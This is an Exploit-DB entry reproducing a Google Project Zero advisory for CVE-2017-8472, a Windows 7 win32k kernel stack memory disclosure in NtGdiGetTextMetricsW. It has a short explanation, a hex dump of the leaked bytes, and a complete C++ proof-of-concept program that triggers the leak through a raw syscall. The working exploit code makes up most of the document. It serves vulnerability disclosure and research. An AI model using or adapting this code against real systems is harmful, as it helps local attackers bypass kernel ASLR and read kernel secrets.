Microsoft Windows - 'win32k!NtGdiGetTextMetricsW' Kernel Stack Memory Disclosure

EDB-ID: 42225
Author: Google Security Research
Published: 2017-06-22
CVE: CVE-2017-8472
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1180 

We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 7 (other systems untested) through the win32k!NtGdiGetTextMetricsW system call.

The output structure used by the syscall, according to various sources, is TMW_INTERNAL, which wraps the TEXTMETRICW and TMDIFF structures (see e.g. the PoC for issue #480 ). The disclosure occurs when the service is called against a Device Context with one of the stock fonts selected (we're using DEVICE_DEFAULT_FONT). Then, we can find 7 uninitialized kernel stack bytes at offsets 0x39-0x3f of the output buffer. An example output of the attached proof-of-concept program started on Windows 7 32-bit is as follows:

--- cut ---
00000000: 10 00 00 00 0d 00 00 00 03 00 00 00 03 00 00 00 ................
00000010: 00 00 00 00 07 00 00 00 0f 00 00 00 bc 02 00 00 ................
00000020: 00 00 00 00 60 00 00 00 60 00 00 00 20 00 22 21 ....`...`... ."!
00000030: ac 20 20 00 00 00 00 21 ee[03 81 ff 35 64 36 8f]. ....!....5d6.
00000040: 20 ff 80 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? .. ............
--- cut ---

Here, the leaked bytes are "03 81 ff 35 64 36 8f". If we map the 0x39-0x3f offsets to the layout of the TMW_INTERNAL structure, it turns out that the 7 bytes in question correspond to the 3 alignments bytes past the end of TEXTMETRICSW (which itself has an odd length of 57 bytes), and the first 4 bytes of the TMDIFF structure.

Triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}

for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}

printf("\n");
}
}

int main() {
// Windows 7 32-bit.
CONST ULONG __NR_NtGdiGetTextMetricsW = 0x10d9;

// Create a Device Context.
HDC hdc = CreateCompatibleDC(NULL);

// Get a handle to the stock font.
HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT);
if (hfont == NULL) {
printf("GetCurrentObject failed\n");
return 1;
}

// Select the font into the DC.
SelectObject(hdc, hfont);

// Trigger the vulnerability and dump the kernel output on stdout.
BYTE output[0x44] = { /* zero padding */ };
if (!SystemCall32(__NR_NtGdiGetTextMetricsW, hdc, output, sizeof(output))) {
printf("NtGdiGetTextMetricsW failed\n");
DeleteObject(hfont);
DeleteDC(hdc);
return 1;
}

PrintHex(output, sizeof(output));

// Free resources.
DeleteObject(hfont);
DeleteDC(hdc);

return 0;
}

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